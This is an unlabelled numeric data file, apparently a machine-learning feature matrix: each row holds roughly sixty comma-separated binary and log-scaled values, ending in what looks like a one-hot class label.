+0,0,0,0,0,0,0,0,0,0,1,7.92335,4.67283,26.0377,4.39445,0,5.38473,0.198113,0.169811,0,0.0652174,0.415094,0,0,0,0,0,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,9.41353,5.86079,35.0057,5.3845,0,5.36643,0.131429,0.0857143,0,0.0864349,0.602857,2.3979,0.693147,0,0,1.60944,0,5.16479,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0,0,0,0,1.09861,1.09861,1,0,0,0,0 +0,0,1,0,0,1,1,0,0,0,1,9.333,5.9162,30.5514,4.81218,0,5.10742,0.0621622,0.0783784,0,0.090322,0.616216,1.38629,0,0,0,1.09861,0,4.70048,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.3979,0.693147,1,0,0,0,0 +0,0,1,0,0,1,1,0,0,0,0,9.52799,6.1717,28.7406,4.77068,0,5.00817,0.0209205,0.0899582,0,0.0812345,0.610879,1.09861,0,0,0,0.693147,0,4.23411,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.00537,4.85203,23.5906,4.36945,0,5.06306,0,0.11811,0,0.11215,0.685039,0,0,0,0,0,0,4.27667,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,1,1,0,1,0,0,0,1,10.5634,7.10579,31.7677,5.47227,0,5.17199,0.151888,0.117406,0,0.0607087,0.418719,2.83321,0,0,0,2.30259,0,4.62497,4.09434,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0.693147,0.693147,0,0,1.38629,0,0,1.79176,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.2687,5.75257,33.758,4.94164,0,5.24305,0.308917,0.0700637,0.000188679,0.0454717,0.22293,1.94591,0.693147,0,0,1.38629,0.693147,4.26268,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,7.92732,4.58497,28.567,4.60517,0,5.31303,0.185567,0.154639,0,0.0559365,0.43299,1.09861,0.693147,0,0,1.09861,0,3.89182,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,0,0,1,1,0,0,0,0,8.07527,4.86753,24.907,4.82831,0,5.36209,0.0852713,0.131783,0,0.0706505,0.372093,1.09861,0,0,0,0.693147,0.693147,4.81218,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.48243,6.07535,30.2442,5.40717,0,5.04058,0.228111,0.152074,0,0.0550053,0.536866,1.09861,0,0,0,0.693147,0,5.0876,2.56495,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,8.03657,4.48864,35.125,5.25227,0,5.2176,0.0454545,0.136364,0,0.0498221,0.5,1.38629,0,0,0,1.38629,0,4.26268,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,1,0,0,1,0,0,0,1,9.2016,5.60212,36.7111,5.37064,0,5.09982,0.0814815,0.114815,0,0.0646691,0.514815,1.60944,0,0,0,1.38629,0,4.59512,1.60944,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,1.38629,1.09861,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,1,8.48281,4.97673,33.5417,4.89035,0,5.46085,0.0625,0.166667,0,0.0772257,0.840278,0.693147,0,0,0,0.693147,0,4.45435,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,9.30246,6.07304,25.321,5.0626,0,5.27491,0.0415704,0.0554273,0,0.0789858,0.484988,2.56495,0.693147,0,0,1.09861,0,4.29046,3.49651,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.94591,0.693147,1,0,0,0,0 +0,0,1,0,0,0,1,0,0,0,0,8.17948,4.65396,34.2885,4.85203,0,5.19096,0.317308,0.240385,0,0.0510376,0.557692,1.60944,0.693147,0,0,1.09861,1.09861,4.61512,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,1,0,1,0,0,0,1,11.5753,7.96276,37.0738,6.36647,0.0031348,5.2171,0.035876,0.128527,0.000394592,0.0786554,0.492163,3.52636,0.693147,0,0.693147,2.56495,1.38629,5.05625,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3.63759,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,10.6141,6.8977,41.1557,6.75809,0.00404449,5.22055,0.00505561,0.10819,0,0.0493821,0.00101112,1.38629,0,0,0,1.09861,0,5.38907,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,8.04431,4.70953,28.3182,4.69135,0,4.89006,0.0181818,0.118182,0,0.0577849,0.245455,1.38629,0,0,0,0.693147,0,4.33073,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.27078,4.80402,32.2893,5.23644,0,4.91528,0.123967,0.181818,0,0.0501664,0.247934,1.38629,0,0,0,1.09861,0,4.06044,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.51919,4.91265,37.1037,4.8828,0,5.16678,0.118519,0.155556,0,0.0690757,0.288889,1.60944,0,0,0,0.693147,0,4.39445,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,9.79166,6.2804,33.5516,5.18739,0,5.34577,0.105066,0.097561,0,0.0714645,0.457786,1.79176,0,0,0,1.38629,0,4.61512,2.99573,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,1,0,1,0,0,0,0,1,9.92324,6.40523,33.7715,5.03695,0,5.23779,0.259934,0.127483,0.000931464,0.0571134,0.43543,3.04452,0.693147,0,0,2.56495,1.79176,4.41884,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,1,7.0934,3.73767,29.3415,4.35671,0,5.08308,0,0.121951,0,0.0756442,0.268293,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.25761,5.84354,30.4738,4.72739,0,5.25618,0.18314,0.142442,0.00038157,0.0676333,0.447674,2.70805,0.693147,0,0,2.30259,0,3.98898,2.19722,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,1,0,0,0,0,0,1,9.67426,6.12249,34.9495,5.29832,0,5.1493,0.0659341,0.162637,0,0.0442083,0.47033,3.04452,0,0,0.693147,1.79176,0,4.45435,2.70805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0.693147,0,0,0,1,0,0,0,0 +0,0,1,1,0,0,1,0,0,0,1,11.5053,7.83992,39.0843,5.90808,0.000393856,4.91435,0.240646,0.116187,6.04625e-05,0.068625,0.404884,3.3673,1.60944,0,3.13549,2.63906,0,5.32788,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,2.63906,0,0,0,1.09861,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,1,0,0,1,1,9.82108,6.14419,39.6065,5.05625,0,5.15238,0.137634,0.113978,0,0.0632025,0.87957,1.94591,0,0,0,1.38629,1.09861,4.84419,2.56495,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,0,1,0,0,1,1,10.0899,6.42972,38.9289,4.96284,0,5.13265,0.229402,0.0904685,0.000746981,0.0696767,0.562197,2.56495,0,0,0,1.60944,1.60944,4.96284,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.91503,5.43808,32.4978,4.79579,0,5.24644,0.0829694,0.126638,0,0.0536146,0.524017,1.94591,0,0,0,1.60944,0,4.63473,1.79176,0,0,0,0,0,0,0,0.693147,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,1,1,0,0,0,1,9.1238,5.54518,35.9608,5.10595,0,4.9809,0.12549,0.12549,0,0.0704471,0.533333,1.60944,0,0,0,1.09861,0,4.65396,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,8.43707,4.7362,40.8319,5.00395,0,5.12217,0.185841,0.176991,0,0.0478977,0.672566,1.79176,0,0,0,1.38629,0,4.33073,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,1,0,0,1,0,0,0,0,1,9.55726,5.99146,35.4536,4.89784,0,5.10773,0.107769,0.112782,0.000282765,0.0723173,0.448622,2.63906,0,0,0,1.79176,0,4.78749,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.95543,4.52179,31.3187,4.96284,0,5.11895,0.043956,0.142857,0,0.0729825,0.362637,1.38629,0,0,0,1.09861,0,4.85981,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,14.6177,10.2389,79.7486,4.59512,0,6.42769,0.0121921,0.00121563,0,0.0880906,0.918088,1.09861,0,0,0,1.09861,1.79176,4.38203,2.07944,0,0,0.693147,9.15165,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,1,0,0,0,0,0,10.2775,6.86589,30.3445,4.8828,0,4.68355,0.0167015,0.222338,0,0.0324733,0.0135699,1.60944,0.693147,0,0,1.60944,0,4.27667,4.07754,2.77259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,1,0,1,0,0,0,0,0,10.6192,7.25488,28.9335,5.24175,0,5.27919,0.082744,0.146393,0.00515741,0.081712,0.508487,2.48491,0,0,0,1.38629,0.693147,4.94164,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,2.07944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.63711,5.36598,26.4601,4.7362,0,4.97622,0.0516432,0.0751174,0,0.0789567,0.366197,1.09861,0,0,0,0.693147,0,3.91202,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.87017,4.64439,25.4078,4.5326,0,4.83477,0.038835,0.126214,0,0.0580818,0.271845,1.09861,0,0,0,0.693147,0,3.73767,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,0,0,1,0,0,0,1,8.46274,5.32301,23.2059,4.69135,0,4.96736,0.122549,0.127451,0,0.0561893,0.27451,1.94591,0,0,0,1.38629,0,4.39445,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.62039,6.16752,31.6555,4.79579,0,4.58845,0.0189076,0.092437,0,0.0852137,0.655462,1.09861,0,0,0,1.09861,0.693147,4.44265,1.79176,0,0,0,0,0,0,0,0,0,0,1.60944,0,0,0,0,0,0,0,0,0,0,1.60944,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,1,0,10.3061,6.83626,32.1667,5.57595,0,4.59887,0.132258,0.11828,0,0.0416179,0.268817,1.94591,0,0,0,1.60944,1.60944,5.52545,3.29584,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.19722,1,0,0,0,0 +0,0,1,1,0,0,1,0,0,0,1,10.1128,6.85118,26.1176,5.20949,0,4.96279,0.0264831,0.147246,0,0.0700466,0.368644,3.43399,0,0,0,2.3979,1.09861,4.60517,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,9.58651,6.25383,28.0655,4.89035,0,5.04077,0.1079,0.117534,0,0.09735,0.495183,2.3979,0,0,0,1.79176,0,4.49981,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2.48491,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.53149,5.19296,28.3296,4.92725,0,5.46898,0.189944,0.134078,0,0.0771051,0.368715,1.09861,0.693147,0,0,1.09861,0,4.35671,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.88653,4.29046,13.5833,4.56435,0,4.9734,0,0.138889,0,0.0725971,0.194444,0,0,0,0,0,0,3.17805,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,1,0,1,0,0,0,1,0,9.53119,6.31897,24.8773,5.03695,0,5.46742,0.0595668,0.135379,0.000870701,0.101437,0.471119,2.07944,0,0,0,1.09861,0,4.39445,3.09104,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,1,1,1,0,0,0,0,0,0,9.91887,6.608,27.4446,5.09987,0,5.34647,0.105405,0.0256757,0,0.051652,0.298649,3.04452,0,0,0,1.79176,0,4.61512,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,1,0,0,0,0,0,0,1,10.8674,7.46965,29.9122,5.25227,0,5.13501,0.208214,0.131774,3.81417e-05,0.0808414,0.398175,2.83321,0,0,0,2.30259,0.693147,4.82028,4.21951,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.97635,2.70805,28.0714,4.38203,0,5.13449,0.285714,0.214286,0,0.0585242,0.357143,0,0,0,0,0,0,3.63759,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,9.25541,5.98141,26.481,4.82028,0,4.84082,0.0987342,0.15443,0,0.0691205,0.382278,1.60944,0,0,0,1.60944,0,4.06044,3.17805,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,1,0,0,1,0,0,0,0,0,8.04045,4.55388,33.0106,4.85981,0,5.20802,0.0319149,0.202128,0,0.0667096,0.702128,1.38629,0,0,0,1.09861,0.693147,4.46591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,9.55144,6.13988,30.3758,5.44674,0,5.31367,0.138229,0.138229,0.000213311,0.0730944,0.583153,2.3979,0,0,0,1.94591,0.693147,4.51086,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,1,11.0011,7.64588,28.6652,5.01064,0,5.16828,0.225251,0.13056,0,0.0638983,0.417982,2.77259,1.38629,0,0,1.60944,0,4.34381,4.48864,0,0,0,1.09861,0,0,0,0,0,0,1.38629,0,0,0,0,0.693147,0,0,0,0,0,0,2.48491,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,6.50429,3.29584,25.6538,4.45435,0,4.88811,0.115385,0.384615,0,0.0329835,0.0769231,0,0,0,0,0,0,4.06044,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,1,0,0,0,0,0,0,1,5.93489,2.48491,34.2727,4.46591,0,4.8875,0.181818,0.0909091,0,0.0106101,0.0909091,0,0,0,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.29029,5.04343,25.8701,4.78749,0,5.44901,0.0649351,0.0974026,0,0.0996486,0.727273,0,0,0,0,0,0,4.00733,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.30653,3.89182,31.0208,4.91265,0,5.04028,0.0833333,0.1875,0,0.0409671,0.166667,1.09861,0,0,0,0.693147,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,7.54908,4.26268,27.1143,4.20469,0,4.68516,0.114286,0.0428571,0,0.0521602,0.442857,0,0,0,0,0,0,3.61092,1.38629,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.1717,2.77259,31.8667,4.20469,0,4.62882,0.6,0.0666667,0,0.0376569,0.333333,0,0,0,0,0,0,2.94444,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.62315,3.89182,42.5833,4.30407,0,4.59721,0,0,0,0.0503914,0.916667,0,0,0,0,0,0,3.71357,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.35186,2.07944,30,4.18965,0,5.13806,0,0,0,0.0952381,0,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.35186,2.07944,30,4.18965,0,5.13806,0,0,0,0.0952381,0,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,5.7462,2.56495,26,4.30407,0,4.94114,0,0.166667,0,0.115385,0.833333,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,1,9.67143,6.49979,23.881,4.66344,0,5.33098,0.064759,0.108434,0,0.0660276,0.490964,0.693147,0,0,0,0.693147,0,4.27667,2.19722,0,0,0,0,0,0,0,0,0,0,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.39363,2.48491,19.9091,3.66356,0,4.69042,0,0.272727,0,0.0730594,0,0,0,0,0,0,0,2.99573,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +0,0,0,0,0,0,0,0,0,0,0,8.4929,5.03695,31.8889,4.30407,0,5.09443,0.281046,0.130719,0,0.0391474,0.418301,0.693147,0,0,0,0.693147,0,3.61092,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.9256,3.49651,31.7812,4.43082,0,5.18246,0.53125,0.1875,0,0.027532,0.21875,0.693147,0.693147,0,0,0.693147,0,3.46574,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,11.9751,8.5368,31.1414,4.94876,0,5.35041,0.232836,0.174186,0,0.0105317,0.000392311,2.30259,2.30259,0,0,1.79176,0.693147,4.41884,5.37064,0,0,0,0,0,0,0,0,2.07944,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,1,8.21447,5.04986,23.8258,4.51086,0,5.48233,0.0387097,0.0774194,0,0.0806932,0.541935,0,0,0,0,0,0,3.68888,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.77144,2.56495,26.6667,4.35671,0,4.96628,0,0.166667,0,0.1125,0.833333,0,0,0,0,0,0,3.89182,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.23048,3.52636,15.3636,4.31749,0,4.8462,0.0606061,0.181818,0,0.0769231,0.393939,0,0,0,0,0,0,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.16394,4.77068,30.0085,4.34381,0,4.82297,0.34188,0.153846,0,0.0404443,0.213675,0.693147,0.693147,0,0,0.693147,0,3.46574,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.36771,3.80666,35.9773,4.49981,0,4.81855,0.113636,0.113636,0,0.0568541,0.613636,0,0,0,0,0,0,3.7612,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,1,0,0,0,0,0,9.64076,6.32615,27.5591,4.40672,0,5.28704,0.121864,0.0985663,0,0.0610613,0.340502,1.94591,0.693147,0,0,1.79176,0,4.29046,2.48491,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.79176,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.47543,3.04452,32.4,4.38203,0,5.23778,0,0.05,0,0.058642,0.3,0,0,0,0,0,0,3.63759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.16858,4.12713,21.2623,4.34381,0,5.21839,0.0655738,0.0819672,0,0.0663069,0.360656,0,0,0,0,0,0,3.13549,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.76249,5.53339,25.3532,4.75359,0,5.08651,0.0833333,0.0952381,0.000626076,0.0707466,0.634921,0,0,0,0,0,0,3.73767,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.32794,3.04452,27.95,4.23411,0,5.29405,0,0.15,0,0.107335,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.18002,2.83321,30.125,4.09434,0,4.5096,0,0,0,0.178423,2.0625,0,0,0,0,0,0,3.3673,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.73954,5.26269,32.5208,4.56435,0,4.72824,0.208333,0.114583,0,0.0427611,0.390625,0.693147,0,0,0,0.693147,0,3.80666,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.60944,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.95995,5.56452,29.9385,4.35671,0,4.81493,0.192308,0.115385,0,0.0639774,0.430769,0,0,0,0,0,0,4.26268,1.38629,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1.38629,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.42952,4.14313,27.1613,4.48864,0,4.67478,0.0645161,0.290323,0,0.0332542,0,0,0,0,0,0,0,3.93183,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,1,0,0,0,0,0,0,0,0,7.30988,3.89182,31.125,4.91265,0,5.03387,0.0833333,0.1875,0,0.04083,0.166667,1.09861,0,0,0,0.693147,0,3.91202,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.62402,2.56495,23,4.02535,0,4.90207,0,0.166667,0,0.130435,0.833333,0,0,0,0,0,0,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.77144,1.94591,53.3333,4.39445,0,4.42262,0,0,0,0.04375,0,0,0,0,0,0,0,2.63906,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,0,8.52198,4.99043,34.4041,4.60517,0,5.20121,0.390411,0.109589,0,0.0437985,0.417808,1.38629,0,0,0,1.09861,0,4.36945,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.87891,4.15888,41.9048,4.77068,0,4.80637,0.031746,0.222222,0,0.0299242,0,1.09861,0,0,0,0.693147,0,4.11087,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.63723,4.18965,31.8923,4.48864,0,5.3362,0.184615,0.169231,0,0.0578871,0.369231,0.693147,0,0,0,0.693147,0,4.21951,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.96697,3.63759,28.6486,4.69135,0,5.12823,0.108108,0.189189,0,0.05,0.459459,0,0,0,0,0,0,4.11087,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,6.74524,3.3673,30.3214,4.47734,0,4.99583,0.142857,0.0357143,0,0.0824499,1.14286,0,0,0,0,0,0,3.82864,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,5.61677,2.56495,22.8333,4.00733,0,4.89631,0,0.166667,0,0.131387,0.833333,0,0,0,0,0,0,3.2581,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,1,0,0,0,0,0,0,0,1,7.1025,3.7612,28.9048,4.54329,0,5.06406,0.0952381,0.166667,0,0.0453048,0.190476,0.693147,0,0,0,0.693147,0,4.27667,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,7.68983,4.44265,26.0119,4.35671,0,4.86605,0.0595238,0.22619,0,0.0315789,0,0,0,0,0,0,0,4.07754,1.60944,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +0,0,0,0,0,0,0,0,0,0,0,8.33038,5.15329,24.1105,4.63473,0,5.18163,0.104651,0.174419,0,0.0701712,0.662791,0,0,0,0,0,0,4.20469,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +0,0,0,0,0,0,0,0,0,0,0,9.16293,5.79909,28.9848,4.44265,0,4.52543,0.0851064,0.176292,0,0.028943,0,0,0,0,0,0,0,4.35671,2.48491,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 